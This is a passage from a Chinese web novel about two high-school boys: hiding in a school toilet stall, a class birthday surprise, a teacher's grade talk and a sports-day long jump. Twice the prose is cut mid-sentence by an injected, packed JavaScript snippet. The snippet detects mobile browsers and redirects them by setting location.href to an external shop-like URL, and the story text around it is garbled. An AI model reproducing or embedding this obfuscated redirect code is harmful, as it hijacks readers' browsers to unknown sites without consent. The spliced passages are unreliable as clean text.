听到动静,隔间里的两人不约而同地抖了一下。 外面来了两个人,刚进门的声音比较轻,似乎在探察环境,几秒后脚步声变得正常,两道人声也响了起来。 “果然没人,璋哥还是你靠谱啊。” “那当然了,这可是我们学校最好的厕所。赶紧解决了回去继续打球。” 这声音好耳熟。 似乎是体委和他们班的哪个同学。 好死不死,来的还是熟人,阮牧年对着桑群挤眉弄眼:不要发出声音。 桑群点头,把半屈的膝盖伸直,小心地站到旁边。 两人默然不语地对视着,等外面的人离开。 阮牧年对着他歪了歪脑袋,笑了一下。 笑什么呢,桑群垂眼看他。 阮牧年又指了指自己的肚子。 好好好,生怕全世界不知道他那二两肉,桑群给他竖了个大拇指。 阮牧年跟他对了一下大拇指,然后偏过脑袋,似乎在找什么。 找到了,刚刚混乱中掉到地上的汗巾。 好可惜,已经脏掉了,不过好在汗都擦得差不多了。 外面其他隔间的门响了一下,看来那两人准备走了。 阮牧年把汗巾递给桑群,后者嫌脏,避了一下,手肘不慎撞上墙板。 “咚。” 桑群:“……” 阮牧年:“……” 糟糕。 两人都开始冒冷汗。 外面的人也听到了这声动静,手都不洗了,关掉水龙头,环境顿时变得格外安静。 “……有人?” “璋哥,你不是说没人吗……要不要去看看?” 阮牧年皱起眉,伸手拽了拽桑群的手腕,又指了指自己的大腿。 干什么? 阮牧年见他不动,用力把人扯过来。 外面的人开始走动,似乎在往这里来。 桑群被他拉到腿上,下意识深吸一口气,气音还没出来,就被阮牧年一巴掌盖住。 阮牧年冲他拼命摇了摇头。 怎么……会变成这样? 为了避免被同班同学发现他和阮牧年挤在一个厕所隔间里,他坐上了阮牧年的大腿,被对方捂着嘴抱在怀里。 而他不敢发出声音,手无处可放,方才顺势按在了阮牧年心口上。 这一次,没有汗巾,他完全地触碰到了阮牧年的皮肤,细腻光滑,刚擦过汗,体温有些下降,但还是比他泛凉的指节温暖。 腰间被阮牧年的另一只手揽住,垂下眼就能对上那双明亮得不可方物的眼眸,而他们的距离和姿势比刚才更加靠近、更加亲密。 桑群看着他,眼神已经无法聚焦了,而底下的大腿动了动。 他看过去,阮牧年居然抬起了双脚。 捂嘴的那只手松开,轻轻摸了摸桑群的大腿。 本来应该是拍一拍,但为了不发出其他动静,阮牧年改拍为摸。 桑群难以遏制地颤了一下,当着阮牧年的面,瞬间就羞愧了。 但阮牧年似乎并没有意识到他的尴尬,以为他没明白自己的意思,又指了指桑群的脚。 桑群险些宕机的大脑终于开始运转,阮牧年的意思是……把脚抬起来以免外面的人通过门缝发现里面有人? 神经病,这家伙是不是谍战片看多了。 这种情况,推一下门就能知道有没有人,还需要趴门缝吗? 心里吐槽着,但对方的手还放在自己大腿上,为了不节外生枝,桑群发力把脚抬起来,轻轻架在旁边的墙板上。 外面的脚步声渐渐靠近,好像只有一个人走了过来。 短短几秒,却有如一个世纪般漫长。 桑群低头去看阮牧年,却发现对方正盯着他的耳朵发呆,大腿上的手无意识地乱摸着。 真想求他别摸了,自己没有大腿吗? 还有外面那两个蠢货,闲着没事干吃饱了撑着跑这么偏僻的地方上厕所,有没有人还要观察一下,是在参观动物园还是以为自己是领导视察工作? 破厕所,连个空调都没有。有钱买马桶,没钱扩建一下隔间空间吗?挤在一起热死了。 就在桑群快要因为热蒸过度出现幻觉之前,外面的脚步声终于停住,开始渐渐远离他们。 另一人的声音很小:“……怎样,我们先……” 体委:“……不知道,算了,走……” 搞了半天,外面的人比他们还怂,连门板都不敢推一下,这就跑了? 桑群在心里越骂越狠。 肩上忽然一沉,确认终于没有其他人后,阮牧年松了口气,抱着他趴在他肩上。 “好险,”他喃喃道,“差点就暴露了。” 被他一抱,桑群脑内的辱骂瞬间停下,思绪开始像毛线球一样理还乱。 他把腿放下,伸手拉了拉阮牧年的胳膊:“让我起来。” “桑桑,”阮牧年贴着他的侧颈,语调低柔,“刚刚我就想问了……你今天耳朵也好红呀,真的没有什么问题吗?” 气流顺着皮肤而上,在所经之处激起一片细密的酥麻。桑群僵了一秒,猛地扯掉阮牧年的手站起来,背对着他不敢回头。 阮牧年愣了一下:“你干嘛。” 桑群开始忙碌,拉开拉链,在书包里面无意义地翻找了一下,然后想起应该是在另一层里,又拉了两次拉链,终于找出了一件新校服,头也没回扔给了阮牧年。 “穿上。”桑群说。 阮牧年:“我才刚脱没多久……” “再不穿就着凉了,”桑群侧着脸,没看他,“回家给你开空调。” “好吧,”阮牧年开始套衣服,嘴上还在叭叭,“我问你的事你还没回答呢。如果真的有什么毛病的话,不能拖啊,早治疗早安心。” “你为什么摸我。”桑群看着书包问他。 “摸你?”阮牧年顿了一下,“我那是提醒你抬脚呀。” “我抬完脚,你还在摸,”桑群忍无可忍,眼角微抽,“很好玩吗?” 阮牧年已经穿好了衣服,闻言看着自己的手,啊了一声。 “我真的就是随便摸了摸,”阮牧年解释道,“但、但我后面发现,你腿上……有个蚊子包诶。” 桑群一怔:“什么?” 阮牧年形容给他听:“左大腿,很靠上的位置,有个凸起来的蚊子包……可怜的桑桑,被蚊子咬了都不知道,回家要记得涂药膏呀。” 桑群垂在身侧的手动了动,太荒谬了,居然还真有。 什么品种的蚊子隔着裤子咬人? 右手不自觉握拳,桑群拿下书包,单肩挎着。 “桑……” 没等阮牧年挽留他,桑群先一步推开隔间门,留下一句“外面等你”,落荒而逃。 走出行政楼,率先被一阵风扑了面,那股蠢蠢欲动的燥热终于消散,桑群站在风里叹了口气。 想起刚才发生的事,他就忍不住心慌。 他居然、在学校、对着阮牧年…… 桑群捂住眼睛,要不是他及时起身,真被那个笨蛋发现,一切就完了。 还有这个耳朵,难道真有毛病?怎么每次都被阮牧年抓到端倪。 不能再这样下去了,以后这种坦诚相待、半坦诚相待、被迫坦诚相待的场合,能远离就远离,狠心一点,孩子大了,不能总惯着。 桑群开始回顾他妈教他的108种放手方法,有如清心诀般令人醍醐灌顶。 “桑群!” 阮牧年的声音从背后传来,他没回头,还在默背经典。 “你怎么跑到外面来了,我还以为你在厕所门口,”阮牧年跑过来,把汗巾递给他,“汗巾掉地上了,我先随便用水冲了一下,辛苦你回去洗了哦。” 桑群点点头,看了他一眼,目光清明了许多:“发带摘了吧,头发乱糟糟的。” 阮牧年连忙摘下来:“啊?乱了吗?这样好一点了吗?” 桑群上手帮他抓了两下:“可以了。” “嘿嘿,”阮牧年把发带给交给他,“那都拜托你放书包里啦。” “嗯,”桑群知道他待会儿还得去办公室一趟,只道,“早点回来。” “放心啦,午饭来得及的。” 阮牧年挥手跟他告别。 回到家,桑群把湿垃圾和汗巾一块泡进水桶里,蹲在阳台上发呆。 最近真的有些松懈了,不由自主就会被阮牧年牵着鼻子走,还心甘情愿对他百依百顺。 虽然以前也差不多,但他既然知道自己怀揣着什么心思,就应该收敛一点。 在保留溺爱、不让阮牧年感到害怕孤独的前提下,收敛一点,自然一点。 ……怎么这么难。 算了,先不想这个了,桑群看着泡沫从水底浮起,还有件更重要的事情。 五件礼物……现在就差最后一件了。 没什么头绪啊。 桑群盯着那条汗巾,忽然回头看了一眼茶几上的运动发带,想起了什么。 有思路了。 正好,趁着过几天运动会放假去…… 等等。 不妙,这次运动会,他好像报名了项目,不能请假回家。 桑群抱住脑袋。 想起来了,是阮牧年要他报的,还报了好几个。 可恶的阮牧年。 没事,下午去了解一下,提前个半天跑路也行。 “哦你问运动会项目安排啊,”体委拿出一个红皮本翻给他看,“喏,跳高在第一天下午,1000米在第二天上午,接力在最后一天下午,都错开了,不用担心。” 桑群面无表情地看着这个本子。 他最担心的事还是发生了。 就不能半天比完吗? 最后一场还是下午的,更不能提前走了。 好烦。 因为这个,桑群下午的心情不是特别美好,很多日程需要重新安排,他转着笔,盯着桌面上的空白草稿纸发呆。 课间,同桌一如既往不知所踪,前桌左顾右盼了半天,才回头轻轻敲了一下他的桌角。 “六爷,问你个事儿,”刘嘉压低声音,“你下周六有空吗?” 下周六?桑群秒拒:“没空。” “啊好的好的,”刘嘉点点头,没再多问,“打扰了。” “那就除去六爷,其他人都能来?”刘嘉同桌低声问他。 “多安排几个空位,万一还有老师或者其他外班同学呢,总之往多了估。”刘嘉也小声回复他。 同桌俩开始在对着草稿纸涂涂画画。 这俩人谋划什么秘密行动呢,桑群搁下笔,声音真小,他全听见了。 体委也走了过来,掩着嘴问刘嘉:“诶,你们说真的不用准备礼物吗?我有点过意不去啊……” “不用啊,这次是班费出资,相当于每个人都有付出,”刘嘉也掩着嘴说,“你与其担心这个,不如想想要吃点啥,菜单还没定下来呢。” 桑群靠到椅背上。 这几个人去当特工,没出三分钟就会因为泄露机密情报被抓吧。 刘嘉同桌:“你们有谁知道牧年喜欢什么水果?” 刘嘉:“不知道啊,上次高璋不是跟牧年一块去食堂吃饭了吗?你知不知道?” 高璋:“我们上次吃完就走了。找个机会拉他去小卖部试探试探?” 刘嘉同桌:“先定几个备选吧,比较常见的芒果、蓝莓、猕猴桃……” “苹果。” 刘嘉点头:“也行,就是好像装饰上比较少……等等,谁说的苹果?” 前面三人面面相觑,表情惊恐,一副以为自己在白天遭遇灵异事件的样子。 桑群叹了口气。 三分钟还是太长了,三十秒吧。被吓到、僵硬、再一起撒腿跑、然后被抓住,正好三十秒。 刘嘉一点点把脖子转过来:“……六爷?你咋知道牧年喜欢吃苹果?” 桑群:“见过。” 与其说喜欢,倒不如说苹果是最常见也是最方便买到的水果,对于阮牧年这种懒人来说刚刚好。 家里还有两个苹果还没吃完呢。 “呃,”虽然觉得不太可靠,但刘嘉还是让他同桌记下来了,“那都算上吧。” 体委怀疑的目光扫过一脸平静的六爷,心里止不住发问,见过?在哪里见过?不会是家里吧? 这两人绝对没有那么简单,体委坚信。 “你们……”斟酌半天,桑群还是开口,“在准备什么?” 要放以前,桑群根本懒得过问班级里的任何活动,但这次听起来好像有点不一样,都提到阮牧年了…… 当然,他是为了走出舒适圈,尝试跟其他同学产生一点沟通,才不是因为阮牧年。 刘嘉同桌一愣:“六爷你都听到了?” 桑群:“……” 想听不到很难吧。 刘嘉警惕地四下张望了一下,双手掩嘴——虽然可能没啥效果——非常神秘地告诉他:“我们在……策划牧年的生日惊喜。” 桑群:“……哦。” 果然。 问下周六的时候就觉得这几个人不对劲,时间太凑巧了,原来跟他准备的是同一件事。 体委也加入秘密对话:“我们计划定个包间大吃一顿,然后玩一会儿游戏……话说六爷你来吗?” 刘嘉失望道:“六爷说他没空。” 体委也开始失望:“噢,那太遗憾了。” 桑群:“……” 这有什么遗憾的。据阮牧年所说,他俩在外人眼里难道不是水火不容的关系吗,这些人怎么还遗憾上了。 刘嘉同桌也摇着头:“全班不能到齐,是我们这次策划的最大败笔……” 桑群挑了下眉,全班?那更不能去了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356317|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那种大场面,还是交给社交达人阮牧年应对吧,等散场的时候他去接人回家就行。 只是这样,有些计划又要变更一下了。 真烦。 最烦的就是运动会不能请假。 “这次秋季运动会将持续三天,最后一天下午闭幕式结束了大家才能回家,后面周六周日两天放假,周日要回来上晚自习,大家清楚了吗?”物理课上,班主任通知了运动会的相关事宜。 “清楚了——”全班齐声。 “另外,上次月考成绩也都陆续出来了,大家记得登录网站查询,或者下课来我这边查分。好,那我们现在开始上课……” 阮牧年看着黑板,成绩出了,那各小组的排名也应该出了。 下课后,办公室,班主任果然提了这件事。 “我就不说其他科目了,单论物理这一门,”班主任把电脑网页点给他看,“这次题目比较常规,大家分数都有上涨,你们小组的分数……超出我意料了,很不错。” 阮牧年俯身看电脑屏幕。 阮牧年100,刘嘉75,桑群……68。 平均分差不多81。 确实很不错,特别是桑群的分数。 “我对比了一下,除去上次期末那个离谱的6分,桑群上学期的平均成绩大概在58到62之间浮动。”班主任翻开自己的教学记录册。 “而这次虽然卷子不难,但68分也算是很大的进步了,”班主任捧起咖啡喝了一口,满脸笑意,“哎哟,成绩刚出的时候我拿去给二班的物理老师炫耀,她羡慕得说要把你挖到他们班去哈哈。” 阮牧年笑了笑:“也不全是我的功劳嘛,还得是老师你教得好,再加上小组方式激励他们愿意去学,成绩自然就提高了。” “一开始我还担心桑群不配合,或者你们沟通有困难,”张老师长出一口气,“现在看来是我多虑了。总之,这次结果我非常满意,牧年,干得漂亮。” 阮牧年笑着回她:“都是我应该做的。” “那么,老师之前的提议,你还愿意继续吗?”张老师看向他,问。 “我觉得,桑群不是不乐意学习,只是没到非常必要的时候,”阮牧年轻声说,“赶一赶、催一催,确实能让他进步。到了七十分数段,这种提升就会变得微小了……不过。” 他认真地看着张老师,说:“我愿意继续帮助他的。” “好,”张老师点头,“我替桑群谢谢你的付出,牧年。” 这倒不用,如果是桑群本人,只会说他好烦。 “除了学习上,生活方面我也会继续关注他的,”张老师翻着记录册,“如果他能想通的话,你的工作也会顺利许多。” 张老师还没放弃吗,阮牧年多问了一句:“生活方面?” “是,不过这件事比较复杂,我现在还没有计划,”张老师敲着笔思索,“至少,在高三之前劝他回来上晚自习、不再逃课,还有…… “期中考后的家长会,如果能和他家长谈一谈就更好了。” 阮牧年差点脱口而出,桑母从不参加桑群的家长会。 “说到家长,我倒是想起另一件事,”张老师抬头看他,“牧年,前不久你妈妈问过我你的住宿情况,你没跟她住在一起吗?” “啊,”什么,居然已经找到班主任头上了吗,阮牧年顿了顿,说,“是,我一直住在舅舅家,妈妈她……很忙。我本来是想住宿的,后面觉得不太方便就放弃了,她可能还不知道所以来问问……” “这样啊,听起来你们好像不太熟,”张老师拍了拍他的肩,“你在学校一直表现得很好,所以我也没特别关注过其他的。不过如果家里的事影响到了你,有什么困难可以来找老师,家校沟通也是我们工作内容之一,不要觉得会麻烦别人。” “嗯好,”阮牧年点头,“谢谢张老师。” 走出办公室,他想,居然没过多久又要期中考了。 期中考后有家长会。 这些年,他的家长会都是桑母出席。 妈妈很忙,忙到连这些都没空理会,可前不久那次饭后,他又担心她会不会要参加这次家长会。 家长会,他作为班委肯定要负责出面接待的。 在学校里,怎么跟妈妈相处? 好烦啊。 放学后,两个好烦的人在家里见面。 阮牧年:“你妈妈现在身体怎么样?” 桑群:“你跳远什么时候?” 阮牧年:“?” 桑群:“?” 阮牧年:“不知道什么时候啊,等通知嘛。你问这个干嘛。” 桑群:“没什么。我妈活蹦乱跳的,你担心这个干什么。” 阮牧年:“我跟班主任聊天的时候,聊到了今年的家长会……你妈妈还来参加吗?” 桑群:“当然来,那时候她就是你妈了,不都是这样吗?” 阮牧年:“不一样啊,这次我们是在同一班。” 桑群:“我请假,大不了到时候随便叫个工厂的女工顶替一下。” 阮牧年:“坏消息,班主任想找你妈妈谈话。” 桑群:“?” 他从沙发上坐直:“什么?” “很有可能,呃,你这次进步好大,她觉得你有希望再拉一把,”阮牧年坐在他旁边,说,“所以……你做好心理准备。” 桑群皱着眉,过了一会儿才说:“那你怎么办?你又不能请假。” “我在想……”阮牧年声音低了下去,“妈妈她……会不会来。” 桑群看向他,一提到这种事就低落得很明显,惹人心疼。 “没事,”他摸了摸阮牧年的头,“大不了,就说我们是兄弟,异父异母而已。” 阮牧年没忍住笑了一下:“谁信啊。” 桑群说:“我信。” “好吧,”阮牧年点头,“那我也信。” “你信什么信啊,现在是你相信他的时候吗?”体委在操场上抓狂,“现在最大的问题就是他跑了!我们没人顶上!” 运动会第一天,班级里就出了事。 四百米已经开始检录,他们班的运动员却不知道跑哪里去了,裁判一直在催。 班级方阵里,没项目的同学们面面相觑,但谁都不想上场。 “发生什么事了?”阮牧年刚从厕所回来,见一群人愁眉苦脸的,问。 “牧年,你待会儿有项目吗?”体委抓住他问。 “别拽我,”阮牧年躲了一下,“有啊,我要去跳远了。” 体委的眼神暗淡下来:“完了,四百米没人上,我们班要被扣分的。” “四百米?”阮牧年看了眼班级方阵,“别担心,我帮你拉个人。” 几秒后,还没睡醒的桑群被人从座位上拽起来,一脸惺忪。 “走,”阮牧年说,“跑步去。” 桑群:“?” 40. 40 除去接力赛,桑群的三个项目并没有满,还真是最合适的人选。 体委连忙问:“六爷,你可以去吗?” 什么东西,桑群一口回绝:“不去。” 阮牧年点头:“他做好准备了,号码牌拿过来吧。” 体委:“?” 是这样理解的吗? 另一个同学拿来号码牌,阮牧年接过给桑群别上。 “干什么,”桑群还没睡醒,“我好困。” 阮牧年拍了拍他的背,牌子很牢固:“跑两圈就精神了。” “两圈?” “对对,”眼下也没有别的办法了,见六爷没有明显抗拒意图,体委也加入半强迫的队伍,“四百米,两圈,别跑错了。” 四百米啊,桑群应了声:“哦。” 阮牧年对体委说:“你带他去检录,我要去跳远了哦。” “行,谢谢你了牧年,”体委点头,“跳远加油,四百米结束我去那边看你。” 什么,阮牧年要跳远? 桑群眨了一下眼,想去看看在哪儿,就被体委拉走了。 四百米开始的时候,桑群跑在几个人中间,略感无聊。 嗯? 不远处的沙坑好像在跳远。 他减缓速度,想看看有没有熟悉的身影。 “六爷!”体委在外圈黄线外面给他加油,“冲啊,别慢下来!” 啧。 哦,看到了,阮牧年还在排队,正站在那里往这边看,冲他笑了笑,挥了挥手。 体委还在喊,行吧,那就跑快一点吧。 没几秒,队列第一的同学只觉旁边有道残影卷过。 惨变第二的同学:“?” 第二圈路过沙坑的时候,桑群又慢了下来,继续搜寻阮牧年的身影。 没看到人啊,跑哪儿去了。 “六爷!保持住啊!就要冲线了!”体委呐喊。 哦呦,在坑里呢,不知道跳了多少,落地姿势倒是挺帅气的。 阮牧年拍了拍裤子回队尾排队去了,准备第二轮跳。 没热闹看,桑群开始加速,想回座位上找水喝。 “六爷,看你比赛也太惊险了,”体委拍着心口吐槽道,“跟变速带似的。还好你最后冲了一下,不然连第三名都没有。” 桑群:“哦。” 四百米决赛只取小组前一二名,桑群第三没晋级。不过也幸好是这样,不然四百米决赛就要和明早的1000米撞了。 体委是非常负责任的后勤人员,看完这边看那边,喊完加油再换个地方喊加油,现在准备去跳远场地给同学们助威。 “六爷,”体委说,“你去哪?” 桑群看着黄线外的人山人海头疼:“班级怎么回?” “回去干嘛啊,去看牧年比赛呗。” “口渴。” “那更不用担心了,”体委直接把他拉走了,“牧年那边肯定有水喝。” 这话是真的,因为阮牧年粉丝后援会(三班分会)在沙坑旁边的观众席里支了个牌子,放了一箱的矿泉水。 桑群看到的时候惊了一下,阮牧年是水牛吗?喝这么多? 他捞了一瓶出来,被旁边同学叫住:“桑群同学,你要去给牧年送水吗?” 送水?什么送水,跳个远也需要人递水? 桑群无语:“我自己喝。” “那你再拿一瓶呗,我们负责送水的同学去厕所了,”跟他搭话的是个女生,不知道叫啥,可能是宣传委员或者文娱委员或者生活委员,“我们得在这里看场地。” 神经病,他闲得没事干才会去给跳远的阮牧年送水。 阮牧年从沙坑里站起来的时候,旁边递过来一瓶水,再往上是桑群的臭脸,看着他冷冷吐出一个字:“给。” 是的,他闲出屁了。 “怎么是你送啊,”阮牧年笑了,把水接过来喝了一口,“我都叫她们别送了,跳个远而已,还把你派来了啊?” “那你别喝。” “那怎么行,”阮牧年又喝了一口,“六爷亲自送的啊。” 桑群没理他的调侃:“跳多少?” “不知道,刚看见你,我都没听清人家报数,”阮牧年拧上瓶盖,抛着玩说,“反正挺远的,应该能撑进最后一组,至于拿第一那就算了,还有体育生呢。” “废物,”桑群说,“腿白长那么长了。” “是,没你腿长,”瓶子在空中完美抛出弧线再落入阮牧年掌心,“四百米走神也能拿第三,对吧六爷?” 桑群顿了下:“你看到了?” “我排队的时候看着你冲线的啊,”阮牧年说,“后来高璋也跟我说了,选择性跑步啊你,变速带。” “排你的队去,水牛。”桑群驳回去。 “帮我拿水啊。”水牛把水递给他。 “待会儿就给你喝光。”桑群对牛说。 话是这么说,但实际上他刚喝了半瓶水,有点撑。 挺无聊的,看一个个不认识的人跑跑跳跳掉掉弹弹,沙坑扬起沙尘,凹进去又被填平,再凹进去,再填平。 后援会有把空椅子,他靠坐在上面,快睡着了。 “诶,六爷。” 一个声音把他吵醒,桑群皱着眉睁开眼,是那个不知道什么委员在跟他说话。 不知道什么委员说:“最后一跳也拜托你去送水了,无论如何都要送到牧年手上,我们会在这里拍照。” 有完没完,桑群问:“那个送水的呢?” “她是瞒着她男朋友来送水的,”不知道什么委员压低声音说,“刚才去厕所路上被她男朋友逮住,现在回不来了。” 桑群:“……” 你们阮牧年粉丝后援会怎么什么人都有。 结果没过几秒,他也成为了后援会的编外人员。 身后是两条醒目的红色横幅,写着为阮牧年选手加油鼓劲的话语,旁边有端着相机的摄影师、拿着泡沫板的打光师。 c位站着阮牧年的亲亲同桌。 正要出演狂热送水粉丝的戏码。 桑群:“……” 一个跳远……这么隆重吗。 最后一组的人数明显没有前面多,很快就排到了阮牧年。 检录之前,他特地去厕所换了条适合伸展双腿的短裤,站在黄线内碎步热身的时候,两条修长的腿显得又笔直又皙白。 桑群不着痕迹地扫了他脚踝一眼。 动了。 阮牧年开始助跑,不多不少地在粉笔画的白线前起跳,大腿在空中绷出紧实好看的肌肉线条,落地时沙尘四起,仿佛谢幕的散场光雾特效。 记录员刷刷写下几个数字,让他再跳一次。 最后一组每个运动员都有三次机会。 阮牧年最后一次助跑的时候,桑群观察到他起步之前,似乎会小小地鼓起一口气。 啧。 他强迫自己把目光放在阮牧年的鞋上,送好你的水,别想多余的事。 跳远健将牛同学圆满完成了自己的使命,桑群站在沙坑边把水还给他。 “拿着,”桑群垂眼看他,“不拿揍你。” 阮牧年看了看他身后的摄像头,忍俊不禁:“你这营业也太硬核了吧……稍等,先拉我一把。” 最后一跳有点猛,脚陷进沙子深处了。 桑群伸出另一只手拉他。 两手交握的瞬间,摄影师下意识按了快门。 “哎呀,几乎半截腿全是沙子,”阮牧年站在原地跳了两下,边说边往外走,“我们离远一点,别打扰剩下的人。” 举着横幅的同学往后援会牌子那里撤了一段距离。 “一定要拍吗?”阮牧年回头,无奈地问举着相机的不知道什么委员。 委员点头,尽职尽责地保持正面机位跟随着他们。 打光师尾随其后。 “行吧,”阮牧年点头,安排道,“一张送水,一张合影,不能再多了哦。” 委员:“足够了,今天下午还有跳高呢。” 桑群:“?” 委员摸着下巴,看着他俩轻轻眯起眼:“牧年有项目吗?下午你来给六爷送水吧。” 阮牧年:“好呀。” 好什么好,跳高是什么很消耗体力的项目吗? 拍完照后,桑群立刻说:“别送。” “为什么?”阮牧年道,“不是真的觉得你累了,只是个活动的形式,表达班级大家对你的关心。” 桑群:“你是不是太闲了?” 阮牧年点头:“是呀。” 阮牧年的粉丝后援会暂时更名为三班后援会,要带着物资赶赴下一个战场,只留了两把椅子给他们坐。 沙坑还要进行其他年段的比赛,他们把椅子拉远了一点。 桑群看着他,嗓音在嘈杂的环境音里很抓耳:“那我们现在……是什么关系?” 阮牧年回看他:“我们是同桌,是同一个小组的成员,在同一个班级里共同相处学习了这么久,已经可以算是朋友了呀。” 桑群却问:“你给别人送过水么。” 阮牧年:“这也代表不了什么……” “算了吧,”桑群说,“不要因为我贸然改变你的节奏,该怎么样就怎么样,我只是你那么多同桌的其中之一。” “桑群,”阮牧年抿了下唇,身体微微斜倾,“你是在推开我吗?” 桑群张了张口:“没。” “还是说,那些注视依然让你感到不舒服?”阮牧年的眼神有些忧伤,“我以为时间已经足够了,还是太着急了吗……” “干嘛要自责,”桑群想拍拍他,但在外面,只能扶住椅子把手,“这是我的问题。” 阮牧年却摇摇头:“如果不是我要孤立你,你也不会变成现在这样。” 孤立? 这家伙是这样看待那件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356318|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事的吗。 “为什么总说些傻话,”桑群看着他,用目光抚摸过他紧绷的脸庞,“没有你,我只会比现在更糟糕。” 阮牧年皱了皱眉,似乎是联想到了那种糟糕。 “……不要,”他说,“不要变成那样。我……” 桑群叹了口气,靠到椅背上,看着远处喧闹的人群。 “其实我知道,你一直很勇敢,”桑群说,“但我……暂时还做不到像你那么勇敢。我愿意听你的建议,一步步往外走,但你不需要时时刻刻都拉着我。我不是在推开你,阮牧年,我要为自己负责。” 走出拒人门外的状态,融入或好或坏的未知环境,去承担可能出现的风险……他总得学会一个人做到这件事,而不是靠着阮牧年的拉扯。 那个只会哭哭啼啼的小孩,早就成长为了能够保护别人的塑料袋,他也不能落后。 “我明白你的意思了,”阮牧年低声说,“我……嗯,不会去干涉你的决定,只是……” 话没说完,旁边传来一阵吵闹声,有人在大喊大叫着什么。 只是什么还没听清,阮牧年就被动静吸引,扭头看过去后站起了身。 这热闹也凑? “我好像看到了熟悉的身影,”阮牧年往那边走了两步,很快跑了起来,还不忘招呼他,“桑群,跟上。” 搞什么。 人群层层围堵,被内圈的一个女生挥散,叫大家站远点保持空气流通。 沙坑边的水泥地面上,发梢微卷的低马尾女生坐在那里,身体微微颤抖。 驱散围观人群的女生弓下腰查看她的情况:“抒晴你怎么样?疼得厉害吗?我送你去医务室吧……” “抒晴?”赶到近处的阮牧年听见这句,连忙问,“你怎么了?” 桑群在他身后皱了皱眉,有点后悔跟过来。 “抒晴她跳远的时候不小心扭到脚了,现在不知道情况严不严重,”扶人的女生看到阮牧年愣了愣,忽然道,“我们还得回去找人替换,牧年,能请你帮忙扶她去医务室吗?” 程抒晴蜷着身子一直没发出声音,闻言拽了拽那女生的袖子,轻轻摇了摇头。 阮牧年看了一眼周围,现在是女子跳远,旁边全是女生,只有他和桑群两个男生。 “行,交给我们吧,”阮牧年应下,“桑群,过来帮忙。” 不是,为什么还有他的份。 “脚受伤,一个人扶不稳妥,”阮牧年绕到程抒晴左侧,伸手想要抓她胳膊,“一起来比较好。” 桑群喊他:“喂。” 阮牧年顿了顿:“嗯?” 桑群握住拳头,用臂弯架起女生的胳膊,斜睨过去示意他学着点。 阮牧年后知后觉握紧自己略显冒犯的手,照着桑群的动作一块把人架起来。 桑群:“往哪儿走。” “医务室,”阮牧年说,“往右边那个缺口出去。” 程抒晴跟着他们走了两步,咬着牙气音虚浮:“……谢……谢……” “有什么话待会儿再说吧,”阮牧年看着地面,要下台阶了,提醒道,“小心脚。” 桑群不知道心里一股什么滋味。 偶尔侧目看过去,低垂首的少年和我见犹怜的少女,似乎确实挺般配的。 他出现在这里不太合适。 “桑群,”阮牧年忽然叫他,“你手抬高点,要掉了。” 桑群:“……哦。” “那栋教学楼拐角绕过去就是医务室,”阮牧年说,“下了木板路你要记得往右拐。” 桑群应了一声,看向那个拐角疑惑:“我怎么没见过。” “今年新搬的呀,之前是个废弃的活动室,”阮牧年说,“也不知道医务室好好的怎么就从行政楼搬过来了。” 桑群:“防止有人借病偷渡电梯吧。” 行政楼跟教学楼有连廊,有些学生喜欢蹭行政楼的教师专用电梯上楼。 架着的胳膊颤抖了一下,中间的程抒晴没忍住嗤笑了一声。 桑群纳闷,看向阮牧年:“你弄疼她了?” “什么啊,”阮牧年笑了笑,“很明显她在笑你啊。” 笑他做什么,程抒晴抬起头,声音还是很轻:“抱歉……觉得你们对话有点、有趣,所以……” “夸你幽默呢,”阮牧年翻译给桑群听,然后问程抒晴,“你现在怎么样?感觉好点了吗?” “嘶……疼啊,”程抒晴皱着眉头轻声说,“刚才一直没能缓过劲,说不出话……现在、还行。” “你这到底是怎么回事啊?” “我太着急了……步子没调好,”程抒晴吸着气说,“发现自己不小心踩到线后就直接慌了……唉。” 桑群没忍住:“凉菜爱好者。” 程抒晴:“?” 阮牧年:“……” 手上抬着人扶不了额,阮牧年眼角微抽:“……你别在意,他这人就这样。” 41. 41 医务室里,阮牧年跟医生简单交代了一下情况,跟着她去药房拿药。 偌大的空间只留下桑群和程抒晴两人。 气氛略显尴尬。 程抒晴看了看自己的腿,又观察了一会儿地板的花纹,最终忍受不住死寂开了口:“呃,桑群同学,你还记得我吗?” 什么意思,他当然记得,程某和阮某的绯闻满天飞,谁不知道这俩人? 桑群:“嗯。” “那你后来怎么样了?没耽误你吧?”程抒晴问。 桑群没听懂:“什么。” “果然,我就说你应该没记住,”程抒晴叹了口气,道,“高一的时候,有次我搬材料不小心在楼道撞掉了你的书包,你有本练习册落下了,后面我到你们班托人转交给你……想起来了吗?” 桑群想了半天,有这回事? “还是没想起来吗?”程抒晴看着他惋惜地说,“原来是这学期才认识我的嘛,好伤心呀。” 桑群:“……哦。” 这群e人都喜欢这样聊天的吗?好令人毛骨悚然的语气词。 程抒晴也没想到跟这位六爷沟通如此艰难,眼看氛围又要尴尬起来,她连忙又起了个话题:“话说,刚刚那句凉菜爱好者是什么意思呀?” 桑群:“心急吃不了热豆腐。” 程抒晴大脑加载了一下。 心急吃不了热豆腐……所以只能吃凉豆腐?凉豆腐等于凉菜?所以她是凉菜爱好者? 呃。 神奇的脑回路。 程抒晴扶了下额:“……原来如此。这样看来你和牧年关系还挺好的嘛,他居然秒懂你的意思。” 牧年?桑群冷声:“呵。” 程抒晴:“……” 